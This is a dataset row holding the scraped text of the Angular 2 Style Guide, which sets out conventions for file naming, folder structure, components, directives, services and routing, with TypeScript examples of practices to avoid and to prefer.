profiled at medici.letstalkpayments.com Latest posts by Amit ( see all )",en
1462459785,CONTENT SHARED,9220445660318725468,7703284633155187943,-4918613109487129089,,,,HTML,https://angular.io/styleguide,Angular 2,"Welcome to the Angular 2 Style Guide Purpose If you are looking for an opinionated style guide for syntax, conventions, and structuring Angular applications, then step right in. The purpose of this style guide is to provide guidance on building Angular applications by showing the conventions we use and, more importantly, why we choose them. Style Vocabulary Each guideline describes either a good or bad practice, and all have a consistent presentation. The wording of each guideline indicates how strong the recommendation is. Do is one that should always be followed. Always might be a bit too strong of a word. Guidelines that literally should always be followed are extremely rare. On the other hand, we need a really unusual case for breaking a Do guideline. Consider guidelines should generally be followed. If you fully understand the meaning behind the guideline and have a good reason to deviate, then do so. Please strive to be consistent. Avoid indicates something we should almost never do. Code examples to avoid have an unmistakeable red header. File Structure Conventions Some code examples display a file that has one or more similarly named companion files. (e.g. hero.component.ts and hero.component.html). The guideline will use the shortcut hero.component.ts|html|css|spec to represent those various files. Using this shortcut makes this guide's file structures easier to read and more terse. Table of Contents Single Responsibility We apply the Single Responsibility Principle to all Components, Services, and other symbols we create. This helps make our app cleaner, easier to read and maintain, and more testable. Rule of One Style 01-01 Do define one thing (e.g. service or component) per file. Consider limiting files to 400 lines of code. Why? One component per file makes it far easier to read, maintain, and avoid collisions with teams in source control. Why? One component per file avoids hidden bugs that often arise when combining components in a file where they may share variables, create unwanted closures, or unwanted coupling with dependencies. Why? A single component can be the default export for its file which facilitates lazy loading with the Component Router. The key is to make the code more reusable, easier to read, and less mistake prone. The following negative example defines the AppComponent , bootstraps the app, defines the Hero model object, and loads heroes from the server ... all in the same file. Don't do this . AVOID: app/heroes/hero.component.ts /* avoid */ import { bootstrap } from '@angular/platform-browser-dynamic'; import { Component, OnInit } from '@angular/core'; class Hero { id: number; name: string; } @Component({ selector: 'my-app', template: ` <h1>{<!-- -->{title}}</h1> <pre>{<!-- -->{heroes | json}}</pre> `, styleUrls: ['app/app.component.css'] }) class AppComponent implements OnInit { title = 'Tour of Heroes'; heroes: Hero[] = []; ngOnInit() { getHeroes().then(heroes => this.heroes = heroes); } } bootstrap(AppComponent, []); const HEROES: Hero[] = [ {id: 1, name: 'Bombasto'}, {id: 2, name: 'Tornado'}, {id: 3, name: 'Magneta'}, ]; function getHeroes(): Promise<Hero[]> { return Promise.resolve(HEROES); // TODO: get hero data from the server; } Better to redistribute the component and supporting activities into their own dedicated files. import { bootstrap } from '@angular/platform-browser-dynamic'; import { AppComponent } from './app.component'; bootstrap(AppComponent, []); // app.component.ts import { Component } from '@angular/core'; import { HeroesComponent } from './heroes/heroes.component'; import { HeroService } from './heroes/shared/hero.service'; @Component({ selector: 'toh-app', template: ` <toh-heroes></toh-heroes> `, styleUrls: ['app/app.component.css'], directives: [HeroesComponent], providers: [HeroService] }) export class AppComponent { } import { Component, OnInit } from '@angular/core'; import { Hero } from './shared/hero.model'; import { HeroService } from './shared/hero.service'; @Component({ selector: 'toh-heroes', template: ` <pre>{<!-- -->{heroes | json}}</pre> ` }) export class HeroesComponent implements OnInit { heroes: Hero[] = []; constructor(private heroService: HeroService) {} ngOnInit() { this.heroService.getHeroes() .then(heroes => this.heroes = heroes); } } import { Injectable } from '@angular/core'; import { HEROES } from './mock-heroes'; @Injectable() export class HeroService { getHeroes() { return Promise.resolve(HEROES); } } export class Hero { id: number; name: string; } import { Hero } from './hero.model'; export const HEROES: Hero[] = [ {id: 1, name: 'Bombasto'}, {id: 2, name: 'Tornado'}, {id: 3, name: 'Magneta'}, ]; As the app grows, this rule becomes even more important. Back to top Small Functions Style 01-02 Do define small functions Consider limiting to no more than 75 lines. Why? Small functions are easier to test, especially when they do one thing and serve one purpose. Why? Small functions promote reuse. Why? Small functions are easier to read. Why? Small functions are easier to maintain. Why? Small functions help avoid hidden bugs that come with large functions that share variables with external scope, create unwanted closures, or unwanted coupling with dependencies. Back to top Naming Naming conventions are hugely important to maintainability and readability. This guide recommends naming conventions for the file name and the symbol name. General Naming Guidelines Style 02-01 Do use consistent names for all symbols. Why? Naming conventions help provide a consistent way to find content at a glance. Consistency within the project is vital. Consistency with a team is important. Consistency across a company provides tremendous efficiency. Why? The naming conventions should simply help us find our code faster and make it easier to understand. Back to top Separate File Names with Dots and Dashes Style 02-02 Do use dashes to separate words. Do use dots to separate the descriptive name from the type. Do use conventional suffixes for the types including *.service.ts , *.component.ts , *.pipe.ts . Invent other suffixes where desired, but take care in having too many. Why? Provides a consistent way to quickly identify what is in the file. Why? Provides a consistent way to quickly find a specific file using an editor or IDE's fuzzy search techniques. Why? Provides pattern matching for any automated tasks. Back to top Components and Directives Style 02-03 Do use consistent names for all assets named after what they represent. Do use upper camel case for symbols. Match the name of the symbol to the naming of the file. Do append the symbol name with the suffix that it represents. Why? Provides a consistent way to quickly identify and reference assets. Why? Upper camel case is conventional for identifying objects that can be instantiated using a constructor. Back to top Service Names Style 02-04 Do use consistent names for all services named after their feature. Do use upper camel case for services. Why? Provides a consistent way to quickly identify and reference services. Back to top Bootstrapping Style 02-05 Why? Follows a consistent convention for the startup logic of an app. Why? Follows a familiar convention from other technology platforms. Back to top Directive Selectors Style 02-06 Do Use lower camel case for naming the selectors of our directives. Why? Keeps the names of the properties defined in the directives that are bound to the view consistent with the attribute names. Why? The Angular 2 HTML parser is case sensitive and will recognize lower camel case. Back to top Custom Prefix for Components Style 02-07 Do use a custom prefix for the selector of our components. For example, the prefix toh represents from T our o f H eroes and the prefix admin represents an admin feature area. Do use a prefix that identifies the feature area or the app itself. Why? Prevents name collisions. Why? Makes it easier to promote and share our feature in other apps. Why? Our Components and elements are easily identified. AVOID: app/heroes/hero.component.ts /* avoid */ // HeroComponent is in the Tour of Heroes feature @Component({ selector: 'hero' }) export class HeroComponent {} AVOID: app/users/users.component.ts /* avoid */ // UsersComponent is in an Admin feature @Component({ selector: 'users' }) export class UsersComponent {} app/heroes/hero.component.ts @Component({ selector: 'toh-hero' }) export class HeroComponent {} app/users/users.component.ts @Component({ selector: 'admin-users' }) export class UsersComponent {} Custom Prefix for Directives Style 02-08 Do use a custom prefix for the selector of our directives (for instance below we use the prefix toh from T our o f H eroes). Why? Prevents name collisions. Why? Our Directives are easily identified. AVOID: app/shared/validate.directive.ts /* avoid */ @Directive({ selector: '[validate]' }) export class ValidateDirective {} app/shared/validate.directive.ts @Directive({ selector: '[tohValidate]' }) export class ValidateDirective {} Back to top Pipe Names Style 02-09 Do use consistent names for all pipes, named after their feature. Why? Provides a consistent way to quickly identify and reference pipes. Back to top Unit Test File Names Style 02-10 Do name test specification files the same as the component they test. Why? Provides a consistent way to quickly identify tests. Why? Provides pattern matching for karma or other test runners. Back to top End to End Test File Names Style 02-11 Why? Provides a consistent way to quickly identify end-to-end tests. Why? Provides pattern matching for test runners and build automation. Back to top Coding Conventions Have consistent set of coding, naming, and whitespace conventions. Classes Style 03-01 Do use upper camel case when naming classes. Why? Follows conventional thinking for class names. Why? Classes can be instantiated and construct an instance. We often use upper camel case to indicate a constructable asset. AVOID: app/shared/exception.service.ts /* avoid */ export class exceptionService { constructor() { } } app/shared/exception.service.ts export class ExceptionService { constructor() { } } Back to top Constants Style 03-02 Do use uppercase with underscores when naming constants. Why? Follows conventional thinking for constants. Why? Constants can easily be identified. AVOID: app/shared/data.service.ts /* avoid */ export const heroesUrl = 'api/heroes'; export const villainsUrl = 'api/villains'; app/shared/data.service.ts export const HEROES_URL = 'api/heroes'; export const VILLAIN_URL = 'api/villains'; Back to top Interfaces Style 03-03 Do name an interface using upper camel case. Why? When we use types, we can often simply use the class as the type. AVOID: app/shared/hero-collector.service.ts /* avoid */ import { Injectable } from '@angular/core'; import { IHero } from './hero.model.avoid'; @Injectable() export class HeroCollectorService { hero: IHero; constructor() { } } app/shared/hero-collector.service.ts import { Injectable } from '@angular/core'; import { Hero } from './hero.model'; @Injectable() export class HeroCollectorService { hero: Hero; constructor() { } } Back to top Properties and Methods Style 03-04 Do use lower camel case to name properties and methods. Avoid prefixing private properties and methods with an underscore. Why? Follows conventional thinking for properties and methods. Why? JavaScript lacks a true private property or method. Why? TypeScript tooling makes it easy to identify private vs public properties and methods. AVOID: app/shared/toast/toast.service.ts /* avoid */ import { Injectable } from '@angular/core'; @Injectable() export class ToastService { message: string; private _toastCount: number; hide() { this._toastCount--; this._log(); } show() { this._toastCount++; this._log(); } private _log() { console.log(this.message); } } app/shared/toast/toast.service.ts import { Injectable } from '@angular/core'; @Injectable() export class ToastService { message: string; private toastCount: number; hide() { this.toastCount--; this.log(); } show() { this.toastCount++; this.log(); } private log() { console.log(this.message); } } Back to top Import Destructuring Spacing Style 03-05 Why? Whitespace makes it easier to read the imports. AVOID: app/+heroes/shared/hero.service.ts /* avoid */ import {Injectable} from '@angular/core'; import {Http, Response} from '@angular/http'; import {Hero} from './hero.model'; import {ExceptionService, SpinnerService, ToastService} from '../../shared'; app/+heroes/shared/hero.service.ts import { Injectable } from '@angular/core'; import { Http, Response } from '@angular/http'; import { Hero } from './hero.model'; import { ExceptionService, SpinnerService, ToastService } from '../../shared'; Back to top Import Line Spacing Style 03-06 Do leave one empty line between third party imports and imports of code we created. Do list import lines alphabetized by the module. Do list destructured imported assets alphabetically. Why? The empty line makes it easy to read and locate imports. Why? Alphabetizing makes it easier to read and locate imports. AVOID: app/+heroes/shared/hero.service.ts /* avoid */ import { ExceptionService, SpinnerService, ToastService } from '../../shared'; import { Http, Response } from '@angular/http'; import { Injectable } from '@angular/core'; import { Hero } from './hero.model'; app/+heroes/shared/hero.service.ts import { Injectable } from '@angular/core'; import { Http, Response } from '@angular/http'; import { Hero } from './hero.model'; import { ExceptionService, SpinnerService, ToastService } from '../../shared'; Back to top Application Structure Have a near term view of implementation and a long term vision. Start small but keep in mind where the app is heading down the road. All of the app's code goes in a folder named app . All content is 1 feature per file. Each component, service, and pipe is in its own file. All 3rd party vendor scripts are stored in another folder and not in the app folder. We didn't write them and we don't want them cluttering our app. Use the naming conventions for files in this guide. Back to top LIFT Style 04-01 Do define the structure to follow these four basic guidelines, listed in order of importance. Why? LIFT Provides a consistent structure that scales well, is modular, and makes it easier to increase developer efficiency by finding code quickly. Another way to check our app structure is to ask ourselves: How quickly can we open and work in all of the related files for a feature? Back to top Locate Style 04-02 Do make locating our code intuitive, simple and fast. Why? We find this to be super important for a project. If we cannot find the files we need to work on quickly, we will not be able to work as efficiently as possible, and the structure will need to change. We may not know the file name or where its related files are, so putting them in the most intuitive locations and near each other saves a ton of time. A descriptive folder structure can help with this. Back to top Identify Style 04-03 Do name the file such that we instantly know what it contains and represents. Do be descriptive with file names and keep the contents of the file to exactly one component. Avoid files with multiple components, multiple services, or a mixture. Why? We spend less time hunting and pecking for code, and become more efficient. If this means we want longer file names, then so be it. There are deviations of the 1 per file rule when we have a set of very small features that are all related to each other, as they are still easily identifiable. Back to top Flat Style 04-04 Do keep a flat folder structure as long as possible. Consider creating fodlers when we get to seven or more files. Why? Nobody wants to search seven levels of folders to find a file. In a folder structure there is no hard and fast number rule, but when a folder has seven to ten files, that may be time to create subfolders. We base it on our comfort level. Use a flatter structure until there is an obvious value (to help the rest of LIFT) in creating a new folder. Back to top T-DRY (Try to be DRY) Style 04-05 Do be DRY (Don't Repeat Yourself) Avoid being so DRY that we sacrifice readability. Back to top Overall Structural Guidelines Style 04-06 Do start small but keep in mind where the app is heading down the road. Do have a near term view of implementation and a long term vision. Why? Helps us keep the app structure small and easy to maintain in the early stages, while being easy to evolve as the app grows. Overall Folder and File Structure While we prefer our Components to be in their own dedicated folder, another option for small apps is to keep Components flat (not in a dedicated folder). This adds up to four files to the existing folder, but also reduces the folder nesting. Be consistent. Back to top Style 04-07 Why? Separates shared files from the components within a feature. Why? Makes it easier to locate shared files within a component feature. Back to top Folders-by-Feature Structure Style 04-08 Do create folders named for the feature they represent. Why? A developer can locate the code, identify what each file represents at a glance, the structure is as flat as it can be, and there is no repetitive nor redundant names. Why? The LIFT guidelines are all covered. Why? Helps reduce the app from becoming cluttered through organizing the content and keeping them aligned with the LIFT guidelines. Why? When there are a lot of files (e.g. 10+) locating them is easier with a consistent folder structures and more difficult in flat structures. Below is an example of a small app with folders per component. Back to top Layout Components Style 04-09 Why? We need a place to host our layout for our app. Our navigation bar, footer, and other aspects of the app that are needed for the entire app. Why? Organizes all layout in a consistent place re-used throughout the application. Folder for Layout Components Back to top Create and Import Barrels Style 04-10 Do create a file that imports, aggregates, and re-exports items. We call this technique a barrel . Why? A barrel aggregates many imports into a single import. Why? A barrel reduces the number of imports a file may need. Why? A barrel shortens import statements. export * from './config'; export * from './entity.service'; export * from './exception.service'; export * from './filter-text'; export * from './init-caps.pipe'; export * from './modal'; export * from './nav'; export * from './spinner'; export * from './toast'; export * from './filter-text.component'; export * from './filter-text.service'; export * from './modal.component'; export * from './modal.service'; export * from './nav.component'; export * from './spinner.component'; export * from './spinner.service'; export * from './toast.component'; export * from './toast.service'; AVOID: app/+heroes/heroes.component.ts /* avoid */ import { Component, OnInit } from '@angular/core'; import { CONFIG } from '../shared/config'; import { EntityService } from '../shared/entity.service'; import { ExceptionService } from '../shared/exception.service'; import { FilterTextComponent } from '../shared/filter-text/filter-text.component'; import { InitCapsPipe } from '../shared/init-caps.pipe'; import { SpinnerService } from '../shared/spinner/spinner.service'; import { ToastService } from '../shared/toast/toast.service'; @Component({ selector: 'toh-heroes', templateUrl: 'app/+heroes/heroes.component.html' }) export class HeroesComponent implements OnInit { constructor() { } ngOnInit() { } } app/+heroes/heroes.component.ts import { Component, OnInit } from '@angular/core'; import { CONFIG, EntityService, ExceptionService, FilterTextComponent, InitCapsPipe, SpinnerService, ToastService } from '../shared'; @Component({ selector: 'toh-heroes', templateUrl: 'app/+heroes/heroes.component.html' }) export class HeroesComponent implements OnInit { constructor() { } ngOnInit() { } } Back to top Lazy Loaded Folders Style 04-11 A distinct application feature or workflow may be lazy loaded or loaded on demand rather than when the application starts. Do put the contents of lazy loaded features in a lazy loaded folder . A typical lazy loaded folder contains a routing component , its child components, and their related assets and modules. Why? The folder makes it easy to identify and isolate the feature content. Back to top Prefix Lazy Loaded Folders with + Style 04-12 Do prefix the name of a lazy loaded folder with a (+) e.g., +dashboard/ . Why? Lazy loaded code paths are easily distinguishable from non lazy loaded paths. Why? If we see an import path that contains a + , we can quickly refactor to use lazy loading. Back to top Never Directly Import Lazy Loaded Folders Style 04-13 Avoid allowing modules in sibling and parent folders to directly import a module in a lazy loaded feature . Why? Directly importing a module loads it immediately when our intention is to load it on demand. AVOID: app/app.component.ts import { HeroesComponent } from './+heroes'; Back to top Lazy Loaded Folders May Import From a Parent Style 04-14 Do allow lazy loaded modules to import a module from a parent folder. Why? A parent module has already been loaded by the time the lazy loaded module imports it. app/heroes/heroes.component.ts import { Logger } from '../shared/logger.service'; Back to top Use Component Router to Lazy Load Style 04-15 Do use the Component Router to lazy load routable features. Why? That's the easiest way to load a module on demand. Back to top Components Components Selector Naming Style 05-02 Why? Keeps the element names consistent with the specification for Custom Elements . AVOID: app/heroes/shared/hero-button/hero-button.component.ts /* avoid */ @Component({ selector: 'tohHeroButton' }) export class HeroButtonComponent {} @Component({ selector: 'toh-hero-button' }) export class HeroButtonComponent {} <toh-hero-button></toh-hero-button> Back to top Components as Elements Style 05-03 Do define Components as elements via the selector. Why? Components have templates containing HTML and optional Angular template syntax. They are most associated with putting content on a page, and thus are more closely aligned with elements. Why? Components are derived from Directives, and thus their selectors can be elements, attributes, or other selectors. Defining the selector as an element provides consistency for components that represent content with a template. Why? It is easier to recognize that a symbol is a component vs a directive by looking at the template's html. AVOID: app/heroes/hero-button/hero-button.component.ts /* avoid */ @Component({ selector: '[tohHeroButton]' }) export class HeroButtonComponent {} AVOID: app/heroes/hero-button/hero-button.component.html <!-- avoid --> <div tohHeroButton></div> @Component({ selector: 'toh-hero-button' }) export class HeroButtonComponent {} <toh-hero-button></toh-hero-button> Back to top Extract Template and Styles to Their Own Files Style 05-04 Do extract templates and styles into a separate file, when more than 3 lines. Why? Syntax hints for inline templates in ( .js and .ts) code files are not supported by some editors. Why? A component file's logic is easier to read when not mixed with inline template and styles. AVOID: app/heroes/heroes.component.ts /* avoid */ @Component({ selector: 'toh-heroes', template: ` <div> <h2>My Heroes</h2> <ul class=""heroes""> <li *ngFor=""let hero of heroes""> <span class=""badge"">{<!-- -->{hero.id}}</span> {<!-- -->{hero.name}} </li> </ul> <div *ngIf=""selectedHero""> <h2>{<!-- -->{selectedHero.name | uppercase}} is my hero</h2> </div> </div> `, styleUrls: [` .heroes { margin: 0 0 2em 0; list-style-type: none; padding: 0; width: 15em; } .heroes li { cursor: pointer; position: relative; left: 0; background-color: #EEE; margin: .5em; padding: .3em 0; height: 1.6em; border-radius: 4px; } .heroes .badge { display: inline-block; font-size: small; color: white; padding: 0.8em 0.7em 0 0.7em; background-color: #607D8B; line-height: 1em; position: relative; left: -1px; top: -4px; height: 1.8em; margin-right: .8em; border-radius: 4px 0 0 4px; } `] }) export class HeroesComponent implements OnInit { heroes: Hero[]; selectedHero: Hero; ngOnInit() {} } @Component({ selector: 'toh-heroes', templateUrl: 'heroes.component.html', styleUrls: ['heroes.component.css'] }) export class HeroesComponent implements OnInit { heroes: Hero[]; selectedHero: Hero; ngOnInit() { } } <div> <h2>My Heroes</h2> <ul class=""heroes""> <li *ngFor=""let hero of heroes""> <span class=""badge"">{<!-- -->{hero.id}}</span> {<!-- -->{hero.name}} </li> </ul> <div *ngIf=""selectedHero""> <h2>{<!-- -->{selectedHero.name | uppercase}} is my hero</h2> </div> </div> .heroes { margin: 0 0 2em 0; list-style-type: none; padding: 0; width: 15em; } .heroes li { cursor: pointer; position: relative; left: 0; background-color: #EEE; margin: .5em; padding: .3em 0; height: 1.6em; border-radius: 4px; } .heroes .badge { display: inline-block; font-size: small; color: white; padding: 0.8em 0.7em 0 0.7em; background-color: #607D8B; line-height: 1em; position: relative; left: -1px; top: -4px; height: 1.8em; margin-right: .8em; border-radius: 4px 0 0 4px; } Back to top Decorate Input and Output Properties Inline Style 05-12 Do place the @Input() or @Output() on the same line as the property they decorate. Why? It is easier and more readable to identify which properties in a class are inputs or outputs. Why? If we ever need to rename the property or event name associated to or we can modify it on a single place. Why? The metadata declaration attached to the directive is shorter and thus more readable. Why? Placing the decorator on the same line makes for shorter code and still easily identifies the property as an input or output. AVOID: app/heroes/shared/hero-button/hero-button.component.ts /* avoid */ @Component({ selector: 'toh-hero-button', template: `<button></button>`, inputs: [ 'label' ], outputs: [ 'change' ] }) export class HeroButtonComponent { change = new EventEmitter<any>(); label: string; } app/heroes/shared/hero-button/hero-button.component.ts @Component({ selector: 'toh-hero-button', template: `<button>OK</button>` }) export class HeroButtonComponent { @Output() change = new EventEmitter<any>(); @Input() label: string; } Back to top Avoid Renaming Inputs and Outputs Style 05-13 Avoid renaming inputs and outputs, when possible. Why? May lead to confusion when the output or the input properties of a given directive are named a given way but exported differently as a public API. AVOID: app/heroes/shared/hero-button/hero-button.component.ts /* avoid */ @Component({ selector: 'toh-hero-button', template: `<button>{<!-- -->{label}}</button>` }) export class HeroButtonComponent { @Output('changeEvent') change = new EventEmitter<any>(); @Input('labelAttribute') label: string; } AVOID: app/app.component.html <!-- avoid --> <toh-hero-button labelAttribute=""OK"" (changeEvent)=""doSomething()""> </toh-hero-button> @Component({ selector: 'toh-hero-button', template: `<button>{<!-- -->{label}}</button>` }) export class HeroButtonComponent { @Output() change = new EventEmitter<any>(); @Input() label: string; } <toh-hero-button label=""OK"" (change)=""doSomething()""> </toh-hero-button> Back to top Member Sequence Style 05-14 Do place properties up top followed by methods. Do place private members after public members, alphabetized. Why? Placing members in a consistent sequence makes it easy to read and helps we instantly identify which members of the component serve which purpose. AVOID: app/shared/toast/toast.component.ts /* avoid */ export class ToastComponent implements OnInit { private defaults = { title: '', message: 'May the Force be with You' }; message: string; title: string; private toastElement: any; ngOnInit() { this.toastElement = document.getElementById('toh-toast'); } // private methods private hide() { this.toastElement.style.opacity = 0; window.setTimeout(() => this.toastElement.style.zIndex = 0, 400); } activate(message = this.defaults.message, title = this.defaults.title) { this.title = title; this.message = message; this.show(); } private show() { console.log(this.message); this.toastElement.style.opacity = 1; this.toastElement.style.zIndex = 9999; window.setTimeout(() => this.hide(), 2500); } } app/shared/toast/toast.component.ts export class ToastComponent implements OnInit { // public properties message: string; title: string; // private fields private defaults = { title: '', message: 'May the Force be with You' }; private toastElement: any; // public methods activate(message = this.defaults.message, title = this.defaults.title) { this.title = title; this.message = message; this.show(); } ngOnInit() { this.toastElement = document.getElementById('toh-toast'); } // private methods private hide() { this.toastElement.style.opacity = 0; window.setTimeout(() => this.toastElement.style.zIndex = 0, 400); } private show() { console.log(this.message); this.toastElement.style.opacity = 1; this.toastElement.style.zIndex = 9999; window.setTimeout(() => this.hide(), 2500); } } Back to top Put Logic in Services Style 05-15 Do limit logic in a component to only that required for the view. All other logic should be delegated to services. Do move reusable logic to services and keep components simple and focused on their intended purpose. Why? Logic may be reused by multiple components when placed within a service and exposed via a function. Why? Logic in a service can more easily be isolated in a unit test, while the calling logic in the component can be easily mocked. Why? Removes dependencies and hides implementation details from the component. Why? Keeps the component slim, trim, and focused. AVOID: app/heroes/hero-list/hero-list.component.ts /* avoid */ import { OnInit } from '@angular/core'; import { Http, Response } from '@angular/http'; import { Observable } from 'rxjs/Observable'; import { Hero } from '../shared/hero.model'; const heroesUrl = ' '; export class HeroListComponent implements OnInit { heroes: Hero[]; constructor(private http: Http) {} getHeroes() { this.heroes = []; this.http.get(heroesUrl) .map((response: Response) => <Hero[]>response.json().data) .catch(this.catchBadResponse) .finally(() => this.hideSpinner()) .subscribe((heroes: Hero[]) => this.heroes = heroes); } ngOnInit() { this.getHeroes(); } private catchBadResponse(err: any, source: Observable<any>) { // log and handle the exception return new Observable(); } private hideSpinner() { // hide the spinner } } app/heroes/hero-list/hero-list.component.ts import { Component, OnInit } from '@angular/core'; import { Hero, HeroService } from '../shared/index'; @Component({ selector: 'toh-hero-list', template: `...` }) export class HeroListComponent implements OnInit { heroes: Hero[]; constructor(private heroService: HeroService) {} getHeros() { this.heroes = []; this.heroService.getHeroes() .subscribe(heroes => this.heroes = heroes); } ngOnInit() { this.getHeros(); } } Back to top Don't Prefix Output Properties Style 05-16 Why? This is consistent with built-in events such as button clicks. Why? Angular allows for an alternative syntax on-* . If the event itself was prefixed with on this would result in an on-onEvent binding expression. AVOID: app/heroes/hero.component.ts /* avoid */ @Component({ selector: 'toh-hero', template: `...` }) export class HeroComponent { @Output() onSavedTheDay = new EventEmitter<boolean>(); } AVOID: app/app.component.html <!-- avoid --> <toh-hero (onSavedTheDay)=""onSavedTheDay($event)""></toh-hero> export class HeroComponent { @Output() savedTheDay = new EventEmitter<boolean>(); } <toh-hero (savedTheDay)=""onSavedTheDay($event)""></toh-hero> Back to top Put Presentation Logic in the Component Class Style 05-17 Do put presentation logic in the Component class, and not in the template. Why? Logic will be contained in one place (the Component class) instead of being spread in two places. Why? Keeping the component's presentation logic in the class instead of the template improves testability, maintainability, and reusability. AVOID: app/heroes/hero-list/hero-list.component.ts /* avoid */ @Component({ selector: 'toh-hero-list', template: ` <section> Our list of heroes: <hero-profile *ngFor=""let hero of heroes"" [hero]=""hero""> </hero-profile> Total powers: {<!-- -->{totalPowers}}<br> Average power: {<!-- -->{totalPowers / heroes.length}} </section> ` }) export class HeroListComponent { heroes: Hero[]; totalPowers: number; } app/heroes/hero-list/hero-list.component.ts @Component({ selector: 'toh-hero-list', template: ` <section> Our list of heroes: <hero-profile *ngFor=""let hero of heroes"" [hero]=""hero""> </hero-profile> Total powers: {<!-- -->{totalPowers}}<br> Average power: {<!-- -->{avgPower}} </section> ` }) export class HeroListComponent { heroes: Hero[]; totalPowers: number; get avgPower() { return this.totalPowers / this.heroes.length; } } Back to top Directives Back to top Use Directives to Enhance an Existing Element Style 06-01 Do use attribute directives when you have presentation logic without a template. Why? Attributes directives don't have an associated template. Why? An element may have more than one attribute directive applied. app/shared/highlight.directive.ts @Directive({ selector: '[tohHighlight]' }) export class HighlightDirective { @HostListener('mouseover') onMouseEnter() { // do highlight work } } <div [tohHightlight]>Bombasta</div> Back to top Use HostListener and HostBinding Class Decorators Style 06-03 Do use @HostListener and @HostBinding instead of the host property of the @Directive and @Component decorators: Why? The property or method name associated with @HostBinding or respectively @HostListener should be modified only in a single place - in the directive's class. In contrast if we use host we need to modify both the property declaration inside the controller, and the metadata associated to the directive. Why? The metadata declaration attached to the directive is shorter and thus more readable. AVOID: app/shared/validate.directive.ts /* avoid */ @Directive({ selector: '[tohValidator]', host: { '(mouseenter)': 'onMouseEnter()', 'attr.role': 'button' } }) export class ValidatorDirective { role = 'button'; onMouseEnter() { // do work } } app/shared/validate.directive.ts @Directive({ selector: '[tohValidator]' }) export class ValidatorDirective { @HostBinding('attr.role') role = 'button'; @HostListener('mouseenter') onMouseEnter() { // do work } } Back to top Services Services are Singletons in Same Injector Style 07-01 Do use services as singletons within the same injector. Use them for sharing data and functionality. Why? Services are ideal for sharing methods across a feature area or an app. Why? Services are ideal for sharing stateful in-memory data. app/heroes/shared/hero.service.ts export class HeroService { constructor(private http: Http) { } getHeroes() { return this.http.get('api/heroes') .map((response: Response) => <Hero[]>response.json().data); } } Back to top Single Responsibility Style 07-02 Do create services with a single responsibility that is encapsulated by its context. Do create a new service once the service begins to exceed that singular purpose. Why? When a service has multiple responsibilities, it becomes difficult to test. Why? When a service has multiple responsibilities, every Component or Service that injects it now carries the weight of them all. Back to top Providing a Service Style 07-03 Do provide services to the Angular 2 injector at the top-most component where they will be shared. Why? The Angular 2 injector is hierarchical. Why? When providing the service to a top level component, that instance is shared and available to all child components of that top level component. Why? This is ideal when a service is sharing methods or state. Why? This is not ideal when two different components need different instances of a service. In this scenario it would be better to provide the service at the component level that needs the new and separate instance. import { Component } from '@angular/core'; import { HeroListComponent } from './heroes/hero-list.component'; import { HeroService } from './heroes/shared/hero.service'; @Component({ selector: 'toh-app', template: ` <toh-heroes></toh-heroes> `, directives: [HeroListComponent], providers: [HeroService] }) export class AppComponent {} BAD FILENAME: ../../../_fragments/style-guide/ts/07-03/app/heroes/hero-list/hero-list.component.ts.md Current path: docs,ts,latest,guide,style-guide PathToDocs: ../../../ Back to top Use the @Injectable() Class Decorator Style 07-04 Do use the @Injectable class decorator instead of the @Inject parameter decorator when using types as tokens for the dependencies of a service. Why? The Angular DI mechanism resolves all the dependencies of our services based on their types declared with the services' constructors. Why? When a service accepts only dependencies associated with type tokens, the @Injectable() syntax is much less verbose compared to using @Inject() on each individual constructor parameter. AVOID: app/heroes/shared/hero-arena.service.ts /* avoid */ export class HeroArena { constructor( @Inject(HeroService) private heroService: HeroService, @Inject(Http) private http: Http) {} } app/heroes/shared/hero-arena.service.ts @Injectable() export class HeroArena { constructor( private heroService: HeroService, private http: Http) {} } Back to top Data Services Separate Data Calls Style 08-01 Do refactor logic for making data operations and interacting with data to a service. Do make data services responsible for XHR calls, local storage, stashing in memory, or any other data operations. Why? The component's responsibility is for the presentation and gathering of information for the view. It should not care how it gets the data, just that it knows who to ask for it. Separating the data services moves the logic on how to get it to the data service, and lets the component be simpler and more focused on the view. Why? This makes it easier to test (mock or real) the data calls when testing a component that uses a data service. Back to top Lifecycle Hooks Use Lifecycle Hooks to tap into important events exposed by Angular. Back to top Implement Lifecycle Hooks Interfaces Style 09-01 Do implement the lifecycle hook interfaces. Why? We get strong typing for the method signatures. The compiler and editor can call our attention to misspellings. AVOID: app/heroes/shared/hero-button/hero-button.component.ts /* avoid */ @Component({ selector: 'toh-hero-button', template: `<button>OK<button>` }) export class HeroButtonComponent { onInit() { // mispelled console.log('The component is initialized'); } } app/heroes/shared/hero-button/hero-button.component.ts @Component({ selector: 'toh-hero-button', template: `<button>OK<button>` }) export class HeroButtonComponent implements OnInit { ngOnInit() { console.log('The component is initialized'); } } Back to top Routing Client-side routing is important for creating a navigation flow between a component tree hierarchy, and composing components that are made of many other child components. Back to top Component Router Style 10-01 Do separate route configuration into a routing component file, also known as a component router. Do focus the logic in the component router to the routing aspects and its target components. Do extract other logic to services and other components. Why? A component that handles routing is known as the component router, thus this follows the Angular 2 routing pattern. import { Component } from '@angular/core'; import { RouteConfig, ROUTER_DIRECTIVES, ROUTER_PROVIDERS } from '@angular/router'; import { NavComponent } from './shared/nav/nav.component'; import { DashboardComponent } from './dashboard/dashboard.component'; import { HeroesComponent } from './heroes/heroes.component'; import { HeroService } from './heroes/shared/hero.service'; @Component({ selector: 'toh-app', templateUrl: 'app/app.component.html', styleUrls: ['app/app.component.css'], directives: [ROUTER_DIRECTIVES, NavComponent], providers: [ ROUTER_PROVIDERS, HeroService ] }) @RouteConfig([ { path: '/dashboard', name: 'Dashboard', component: DashboardComponent, useAsDefault: true }, { path: '/heroes/...', name: 'Heroes', component: HeroesComponent }, ]) export class AppComponent {} Back to top Appendix Useful tools and tips for Angular 2. Back to top Codelyzer Style A-01 Consider adjusting the rules in codelyzer to suit your needs. Back to top File Templates and Snippets Style A-02 Do use file templates or snippets to help follow consistent styles and patterns. Here are templates and/or snippets for some of the web development editors and IDEs. Back to top",en
